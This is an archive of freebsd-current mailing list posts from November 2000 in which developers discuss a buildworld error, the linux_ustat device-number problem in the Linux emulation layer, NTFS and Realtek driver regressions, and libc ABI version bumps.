Mutt/1.2.5i In-Reply-To: ; from janb@cs.utep.edu on Wed, Nov 01, 2000 at 09:53:59AM -0700 X-Operating-System: FreeBSD 4.2-BETA SMP X-Disclaimer: A free society is one where it is safe to be unpopular Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Nov 01, 2000 at 09:53:59AM -0700, janb@cs.utep.edu wrote: > I tried this, but the make fails with error > install:/usr/obj/usr/src/include/osreldate.h: No such file or directory ^^^^^ !!!!!!!!!! > I just got the brand new current source, rebuilt the world and updated the > kernel. If the source file is supposed to be there, its probably missing > on the server. > > Any toughts - am I doing something wrong? You need at least to do a make buildworld first .... See the path above ... -- Andreas Klemm Powered by FreeBSD SMP Songs from our band >>64Bits<<............http://www.apsfilter.org/64bits.html My homepage................................ http://people.FreeBSD.ORG/~andreas Please note: Apsfilter got a NEW HOME................http://www.apsfilter.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11:31:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by hub.freebsd.org (Postfix) with ESMTP id C6C0F37B4C5 for ; Wed, 1 Nov 2000 11:31:15 -0800 (PST) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel3.hp.com (Postfix) with ESMTP id 2C71769D; Wed, 1 Nov 2000 11:31:11 -0800 (PST) Received: from cup.hp.com (gauss.cup.hp.com [15.28.97.152]) by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id LAA07139; Wed, 1 Nov 2000 11:31:10 -0800 (PST) Message-ID: <3A006F7E.C31E2A85@cup.hp.com> Date: Wed, 01 Nov 2000 14:31:10 -0500 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Andrew Gallatin , freebsd-current@freebsd.org Subject: Re: linux emulation References: <22109.973104613@critter> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Poul-Henning Kamp wrote: > > I was just looking at that piece of code, and I couldn't entirely > make out what it was even trying to do. Can somebody more > linuxolator savy explain what the function linux_ustat() should > produce. The following comment explains what linux_ustat should do: /* * lu.f_fname and lu.f_fpack are not used. They are always zeroed. * lu.f_tinode and lu.f_tfree are set from the device's super block. */ linux_ustat fills in a structure with the above mention fields. The meaning of f_tinode and f_tfree are explained by the following two statements: lu.f_tfree = stat->f_bfree; lu.f_tinode = stat->f_ffree; In short: given the (u)dev_t, get the FS statistics and return the number of free blocks and inodes of the FS on that device. -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11:39:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id AD20637B4C5 for ; Wed, 1 Nov 2000 11:39:23 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1JZWu22498; Wed, 1 Nov 2000 20:35:32 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Marcel Moolenaar Cc: Andrew Gallatin , freebsd-current@FreeBSD.ORG Subject: Re: linux emulation In-Reply-To: Your message of "Wed, 01 Nov 2000 14:31:10 EST." <3A006F7E.C31E2A85@cup.hp.com> Date: Wed, 01 Nov 2000 20:35:32 +0100 Message-ID: <22496.973107332@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A006F7E.C31E2A85@cup.hp.com>, Marcel Moolenaar writes: >Poul-Henning Kamp wrote: >> >> I was just looking at that piece of code, and I couldn't entirely >> make out what it was even trying to do. Can somebody more >> linuxolator savy explain what the function linux_ustat() should >> produce. > >The following comment explains what linux_ustat should do: > > /* > * lu.f_fname and lu.f_fpack are not used. They are always zeroed. > * lu.f_tinode and lu.f_tfree are set from the device's super block. > */ > >linux_ustat fills in a structure with the above mention fields. The >meaning of f_tinode and f_tfree are explained by the following two >statements: > > lu.f_tfree = stat->f_bfree; > lu.f_tinode = stat->f_ffree; > >In short: given the (u)dev_t, get the FS statistics and return the >number of free blocks and inodes of the FS on that device. But the udev_t is a (32bit truncated to) 16bit one, right ? In that case it will usually not work: crw-r----- 1 root operator 116, 0x00010002 1 Jan 1970 /dev/ad0 crw-r----- 1 root operator 116, 0x00020000 1 Jan 1970 /dev/ad0s1a crw-r----- 1 root operator 116, 0x00020001 1 Jan 1970 /dev/ad0s1b crw-r----- 1 root operator 116, 0x00020004 1 Jan 1970 /dev/ad0s1e crw-r----- 1 root operator 116, 0x00020005 1 Jan 1970 /dev/ad0s1f crw-r----- 1 root operator 116, 0x00030002 1 Jan 1970 /dev/ad0s2c crw-r----- 1 root operator 116, 0x00040000 1 Jan 1970 /dev/ad0s3a crw-r----- 1 root operator 116, 0x00040003 1 Jan 1970 /dev/ad0s3d Considering the fact that we were likely to return statistics for the wrong filesystem with the old code, and most likely cannot return the right statistics anyway, I think we should just return zero for those values (or some other more sensible values) -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 11:40:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by hub.freebsd.org (Postfix) with ESMTP id F17CC37B4C5; Wed, 1 Nov 2000 11:40:16 -0800 (PST) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel1.hp.com (Postfix) with ESMTP id 25DE32C3B; Wed, 1 Nov 2000 11:40:13 -0800 (PST) Received: from cup.hp.com (gauss.cup.hp.com [15.28.97.152]) by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id LAA07570; Wed, 1 Nov 2000 11:40:12 -0800 (PST) Message-ID: <3A00719C.41C72797@cup.hp.com> Date: Wed, 01 Nov 2000 14:40:12 -0500 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Andrew Gallatin Cc: phk@freebsd.org, freebsd-current@freebsd.org Subject: Re: linux emulation References: <39FFBF64.FEF8AB30@cup.hp.com> <14848.25175.990127.871765@grasshopper.cs.duke.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrew Gallatin wrote: > > Marcel Moolenaar writes: > > Wesley Morgan wrote: > > > > > > Anyone having problems with the linuxulator the past couple days? > > > > Define "past couple of days". I have a working linuxulator made on Oct > > 29, 12:25 PST. > > phk took away mkbdev on 10/31. The following "fixes" it, but I > have no idea if it is correct: I'll see if I can upgrade my notebook. I can't track current at the moment on my main box: any kernel built after 10/29 panics at boot with "malloc: wrong bucket" while attaching the rl0 device. I have this with USB when I have a joystick attached to it, but it goes away if I disconnect the joystick at boot time. I have to diagnose both instances before I can send a bug report to the list... -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 12: 2:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from hera.drwilco.net (10dyn121.dh.casema.net [212.64.31.121]) by hub.freebsd.org (Postfix) with ESMTP id 3370837B4C5; Wed, 1 Nov 2000 12:02:31 -0800 (PST) Received: from ceres.drwilco.nl (ceres.drwilco.net [10.1.1.19]) by hera.drwilco.net (8.11.1/8.9.3) with ESMTP id eA1KGiT34769; Wed, 1 Nov 2000 21:16:59 +0100 (CET) (envelope-from drwilco@drwilco.nl) Message-Id: <4.3.2.7.0.20001101205851.00cb1be0@mail.drwilco.net> X-Sender: drwilco@mail.drwilco.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 01 Nov 2000 21:01:09 +0100 To: Maxim Sobolev From: "Rogier R. Mulhuijzen" Subject: Re: NTFS driver broken Cc: freebsd-current@FreeBSD.ORG In-Reply-To: <3A0051FF.2DE6B18C@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I wonder if anyone noticed, but as of today's current NTFS driver is broken. I >can mount a volume, list files on it, but when I'm trying to read any file I >have famous "Inappropriate ioctl...". Can someone look what is wrong with it? It's been broken for me for about a week (could have been longer). I mentioned it on this list, but wanted to wait for someone to jump up and say "Oh, it's just this this probably" before digging into it. If there's still noone like that, I guess I'll have to make my promise true and dive into the code.I'll get back on this. DocWilco To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 12: 8:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by hub.freebsd.org (Postfix) with ESMTP id EFC8737B4CF for ; Wed, 1 Nov 2000 12:08:45 -0800 (PST) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel1.hp.com (Postfix) with ESMTP id 52519FB7; Wed, 1 Nov 2000 12:08:25 -0800 (PST) Received: from cup.hp.com (gauss.cup.hp.com [15.28.97.152]) by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id MAA08621; Wed, 1 Nov 2000 12:08:25 -0800 (PST) Message-ID: <3A007838.25121ACC@cup.hp.com> Date: Wed, 01 Nov 2000 15:08:24 -0500 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Andrew Gallatin , freebsd-current@FreeBSD.ORG Subject: Re: linux emulation References: <22496.973107332@critter> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Poul-Henning Kamp wrote: > > >In short: given the (u)dev_t, get the FS statistics and return the > >number of free blocks and inodes of the FS on that device. > > But the udev_t is a (32bit truncated to) 16bit one, right ? Correct. > In that case it will usually not work: > > crw-r----- 1 root operator 116, 0x00010002 1 Jan 1970 /dev/ad0 > crw-r----- 1 root operator 116, 0x00020000 1 Jan 1970 /dev/ad0s1a [snip] It won't always work. > Considering the fact that we were likely to return statistics for the > wrong filesystem with the old code, and most likely cannot return > the right statistics anyway, I think we should just return zero > for those values (or some other more sensible values) I think we should try to return the right statistics in the case where we have it wrong now instead of returning the wrong statistics in the case where we have it right now. When we have it wrong, we're likely to return zero anyway. The only case that pops up in my mind that may cause us to return the statistics of a different device than the one intended is when the minor number is a sequence and we've truncated sequence S, with S > 255 into S % 255. This is not very likely. Hmmm... the strange assignment of NFS mounts might be a problem as well (warning: vague recollections in combination with memory leaks of dated info and mental cross-talk may make this statement slightly off :-) -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 12:19:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id 4006D37B4E5 for ; Wed, 1 Nov 2000 12:19:35 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1KH0u22798; Wed, 1 Nov 2000 21:17:00 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Marcel Moolenaar Cc: Andrew Gallatin , freebsd-current@FreeBSD.ORG Subject: Re: linux emulation In-Reply-To: Your message of "Wed, 01 Nov 2000 15:08:24 EST." <3A007838.25121ACC@cup.hp.com> Date: Wed, 01 Nov 2000 21:16:59 +0100 Message-ID: <22796.973109819@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A007838.25121ACC@cup.hp.com>, Marcel Moolenaar writes: >Poul-Henning Kamp wrote: >> >> >In short: given the (u)dev_t, get the FS statistics and return the >> >number of free blocks and inodes of the FS on that device. >> >> But the udev_t is a (32bit truncated to) 16bit one, right ? > >Correct. > >> In that case it will usually not work: >> >> crw-r----- 1 root operator 116, 0x00010002 1 Jan 1970 /dev/ad0 >> crw-r----- 1 root operator 116, 0x00020000 1 Jan 1970 /dev/ad0s1a >[snip] > >It won't always work. Will will most often not work. >> Considering the fact that we were likely to return statistics for the >> wrong filesystem with the old code, and most likely cannot return >> the right statistics anyway, I think we should just return zero >> for those values (or some other more sensible values) > >I think we should try to return the right statistics in the case where >we have it wrong now instead of returning the wrong statistics in the >case where we have it right now. OK. So, where do the programs that call this syscall have the udev_t from ? Do they know it to be a mountpoint ? Do the know it to be a bmajor or cmajor style udev_t ? Being Linux they only know one kind, right ? In that case, makebdev() has been wrong ever since we changed to mount cdevs in FreeBSD. You should simply change the makebdev() to makedev() and VBLK to VCHR in the vfinddev() right after. It's still mightily bogus though... -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 12:19:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 3C6C037B4CF; Wed, 1 Nov 2000 12:19:38 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id PAA97860; Wed, 1 Nov 2000 15:19:36 -0500 (EST) (envelope-from wollman) Date: Wed, 1 Nov 2000 15:19:36 -0500 (EST) From: Garrett Wollman Message-Id: <200011012019.PAA97860@khavrinen.lcs.mit.edu> To: Maxim Sobolev Cc: current@FreeBSD.ORG Subject: Re: ABI is broken?? In-Reply-To: <3A006A58.E8315ABA@FreeBSD.org> References: <3A005026.47B9978C@FreeBSD.org> <200011011835.eA1IZl207585@vashon.polstra.com> <3A006A58.E8315ABA@FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > Huh, why we can't just bump libc_r version number and put older (buggy) version into > lib/compat as usually? This would not require any ugly hacks at all. If you want to bump libc_r's version, we should do it to libc as well, and in that case there are a large number of ABI fixes that I have queued up which should be done at the same time. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 12:54:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by hub.freebsd.org (Postfix) with ESMTP id D143137B4C5 for ; Wed, 1 Nov 2000 12:54:40 -0800 (PST) Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30]) by palrel1.hp.com (Postfix) with ESMTP id 3F535232D; Wed, 1 Nov 2000 12:54:40 -0800 (PST) Received: from cup.hp.com (gauss.cup.hp.com [15.28.97.152]) by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id MAA10365; Wed, 1 Nov 2000 12:54:39 -0800 (PST) Message-ID: <3A00830F.70D9CC14@cup.hp.com> Date: Wed, 01 Nov 2000 15:54:39 -0500 From: Marcel Moolenaar Organization: Hewlett-Packard X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Andrew Gallatin , freebsd-current@FreeBSD.ORG Subject: Re: linux emulation References: <22796.973109819@critter> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Poul-Henning Kamp wrote: > > So, where do the programs that call this syscall have the udev_t from ? Most likely from stat, lstat and fstat. > Do they know it to be a mountpoint ? That is implied by the way they get the dev_t. > Do the know it to be a bmajor > or cmajor style udev_t ? AFAICT, filesystems are always on block-devices in Linux. > Being Linux they only know one kind, right ? Linux has the distinction between block and character devices. I don't see any evidence that block devices can be accessed as character devices as well (ie: there's /dev/fd0, but no /dev/rfd0). > In that case, makebdev() has been wrong ever since we changed to > mount cdevs in FreeBSD. In the sense that we would never find the vnode and thus always return zero stats, right? > You should simply change the makebdev() to makedev() and VBLK to VCHR > in the vfinddev() right after. Right-o :-) > It's still mightily bogus though... Yes. A more dynamic solution needs to be used that creates mappings (and dev_t values) on the fly. -- Marcel Moolenaar mail: marcel@cup.hp.com / marcel@FreeBSD.org tel: (408) 447-4222 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 13:18:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id 4D10D37B479 for ; Wed, 1 Nov 2000 13:18:20 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1LEUu23143; Wed, 1 Nov 2000 22:14:30 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Marcel Moolenaar Cc: Andrew Gallatin , freebsd-current@FreeBSD.ORG Subject: Re: linux emulation In-Reply-To: Your message of "Wed, 01 Nov 2000 15:54:39 EST." <3A00830F.70D9CC14@cup.hp.com> Date: Wed, 01 Nov 2000 22:14:30 +0100 Message-ID: <23141.973113270@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A00830F.70D9CC14@cup.hp.com>, Marcel Moolenaar writes: >> In that case, makebdev() has been wrong ever since we changed to >> mount cdevs in FreeBSD. > >In the sense that we would never find the vnode and thus always return >zero stats, right? No, depends on the bmaj <-> cmaj mapping and the truncation. Off the top of my head I think it unlikely that we have found anything. >> You should simply change the makebdev() to makedev() and VBLK to VCHR >> in the vfinddev() right after. > >Right-o :-) > >> It's still mightily bogus though... > >Yes. A more dynamic solution needs to be used that creates mappings (and >dev_t values) on the fly. I guess you're right, but the thought makes me want to barf... -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 13:49:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from hurlame.pdl.cs.cmu.edu (HURLAME.PDL.CS.CMU.EDU [128.2.189.78]) by hub.freebsd.org (Postfix) with ESMTP id 1E71837B479 for ; Wed, 1 Nov 2000 13:49:32 -0800 (PST) Received: (from magus@localhost) by hurlame.pdl.cs.cmu.edu (8.11.0/8.11.0) id eA1LhVa30190; Wed, 1 Nov 2000 16:43:31 -0500 (EST) (envelope-from magus) To: Marcel Moolenaar Cc: Poul-Henning Kamp , Andrew Gallatin , freebsd-current@FreeBSD.ORG Subject: Re: linux emulation References: <22796.973109819@critter> <3A00830F.70D9CC14@cup.hp.com> From: Nat Lanza Date: 01 Nov 2000 16:43:30 -0500 In-Reply-To: Marcel Moolenaar's message of "Wed, 01 Nov 2000 15:54:39 -0500" Message-ID: Lines: 22 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Marcel Moolenaar writes: > Linux has the distinction between block and character devices. I don't > see any evidence that block devices can be accessed as character devices > as well (ie: there's /dev/fd0, but no /dev/rfd0). You can do this in Linux, but the way it works is pretty psychotic. They have a special driver that provides a raw character device interface for block devices, and you have to run a userland utility to bind a block device to one of their /dev/raw devices. This is new as of 2.3/2.4, but there are patches to 2.2 to allow it. Actually, it might have been backported and included with later 2.2 kernels, but I haven't been paying a lot of attention. --nat -- nat lanza --------------------- research programmer, parallel data lab, cmu scs magus@cs.cmu.edu -------------------------------- http://www.cs.cmu.edu/~magus/ there are no whole truths; all truths are half-truths -- alfred north whitehead To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 13:57:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.radio-do.de (gatekeeper.Radio-do.de [193.101.164.1]) by hub.freebsd.org (Postfix) with ESMTP id E36BF37B4CF for ; Wed, 1 Nov 2000 13:57:50 -0800 (PST) Received: from trinity.radio-do.de (trinity.Radio-do.de [193.101.164.3]) by gatekeeper.radio-do.de (Postfix) with ESMTP id A608817E0D for ; Wed, 1 Nov 2000 22:57:44 +0100 (CET) Received: (from fn@localhost) by trinity.radio-do.de (8.11.0/8.9.3) id eA1LviW00777 for current@FreeBSD.org; Wed, 1 Nov 2000 22:57:44 +0100 (CET) (envelope-from fn@gatekeeper.radio-do.de) Date: Wed, 1 Nov 2000 22:57:44 +0100 From: Frank Nobis To: current@FreeBSD.org Subject: if_rl.c broken ? Realtek 8139 not longer recognised. Message-ID: <20001101225744.A752@radio-do.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have a realtek ethernet card. The normal dmesg is this: rl0: port 0xb400-0xb4ff mem 0xd9000000-0xd90000ff irq 10 at device 11.0 on pci0 rl0: Ethernet address: 00:e0:7d:7d:cd:35 miibus0: on rl0 rlphy0: on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto With the change to 8bit wide eeprom reads instead of the 6bit wide reads, the message is now: rl0: port 0xb400-0xb4ff mem 0xd9000000-0xd90000ff irq 10 at device 11.0 on pci0 rl0: Ethernet address: 00:e0:7d:7d:cd:35 rl0: unknown device ID: 4a7 I changed if_rl.c to confirm that it really is the 6/8 bit change: === trinity(17)/usr/src/sys/pci # cvs diff if_rl.c Index: if_rl.c =================================================================== RCS file: /export5/full.src/src/sys/pci/if_rl.c,v retrieving revision 1.49 diff -c -r1.49 if_rl.c *** if_rl.c 2000/10/30 07:54:38 1.49 --- if_rl.c 2000/11/01 19:39:02 *************** *** 896,903 **** --- 896,905 ---- rl_reset(sc); sc->rl_eecmd_read = RL_EECMD_READ_6BIT; rl_read_eeprom(sc, (caddr_t)&rl_did, 0, 1, 0); + #ifdef notyet if (rl_did != 8129) sc->rl_eecmd_read = RL_EECMD_READ_8BIT; + #endif This is not meant as a patch, just a trick for me to confirm it was the 6/8 bit change. The change occured from 1.48 to 1.49 of if_rl.c Regards, Frank -- ~/.signature not found: wellknown error 42 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 14: 6:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from stripe.damagelabs.com (adsl-216-63-174-53.dsl.elpstx.swbell.net [216.63.174.53]) by hub.freebsd.org (Postfix) with ESMTP id DB2E437B4C5 for ; Wed, 1 Nov 2000 14:06:09 -0800 (PST) Received: by stripe.damagelabs.com (8.11.1/8.11.0) id eA1H6XS21043; Wed, 1 Nov 2000 17:06:33 GMT (envelope-from root) From: Jan B Beck To: Andreas Klemm , janb@cs.utep.edu Subject: Re: making an install CD Date: Wed, 1 Nov 2000 17:06:32 +0000 X-Mailer: KMail [version 1.1.94] Content-Type: text/plain Cc: freebsd-current@FreeBSD.ORG References: <20001101200630.A14197@titan.klemm.gtn.com> In-Reply-To: <20001101200630.A14197@titan.klemm.gtn.com> MIME-Version: 1.0 Message-Id: <00110117063201.21028@stripe.damagelabs.com> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I understand. The strange thing is that I have to do make clean after make world, because if I dont, the build of the new kernel fails. Of course, after the make clean the obj files are missing.... jan > > I tried this, but the make fails with error > > install:/usr/obj/usr/src/include/osreldate.h: No such file or directory > > ^^^^^ !!!!!!!!!! > > > I just got the brand new current source, rebuilt the world and updated > > the kernel. If the source file is supposed to be there, its probably > > missing on the server. > > > > Any toughts - am I doing something wrong? > > You need at least to do a make buildworld first .... > See the path above ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 14:44:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 214EF37B479 for ; Wed, 1 Nov 2000 14:44:20 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id OAA75537; Wed, 1 Nov 2000 14:43:56 -0800 (PST) (envelope-from obrien) Date: Wed, 1 Nov 2000 14:43:55 -0800 From: "David O'Brien" To: Garrett Wollman Cc: current@FreeBSD.ORG Subject: Re: ABI is broken?? Message-ID: <20001101144355.A75475@dragon.nuxi.com> Reply-To: current@FreeBSD.ORG References: <3A005026.47B9978C@FreeBSD.org> <200011011835.eA1IZl207585@vashon.polstra.com> <3A006A58.E8315ABA@FreeBSD.org> <200011012019.PAA97860@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200011012019.PAA97860@khavrinen.lcs.mit.edu>; from wollman@khavrinen.lcs.mit.edu on Wed, Nov 01, 2000 at 03:19:36PM -0500 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Nov 01, 2000 at 03:19:36PM -0500, Garrett Wollman wrote: > If you want to bump libc_r's version, we should do it to libc as well, > and in that case there are a large number of ABI fixes that I have > queued up which should be done at the same time. Any reason to not get them in -current now and make the bump? -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Nov 1 15:26:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87]) by hub.freebsd.org (Postfix) with ESMTP id 1A23337B4CF for ; Wed, 1 Nov 2000 15:26:51 -0800 (PST) Received: from athlon ([24.7.153.159]) by femail7.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001101232650.BOFF2350.femail7.sdc1.sfba.home.com@athlon> for ; Wed, 1 Nov 2000 15:26:50 -0800 Message-ID: <000a01c04463$76998ec0$6400a8c0@home.com> From: "nathan raghu" To: Subject: subscribe Date: Wed, 1 Nov 2000 16:25:54 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C04420.682B8A20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C04420.682B8A20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable how can I subscribe ------=_NextPart_000_0007_01C04420.682B8A20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
how can I = subscribe
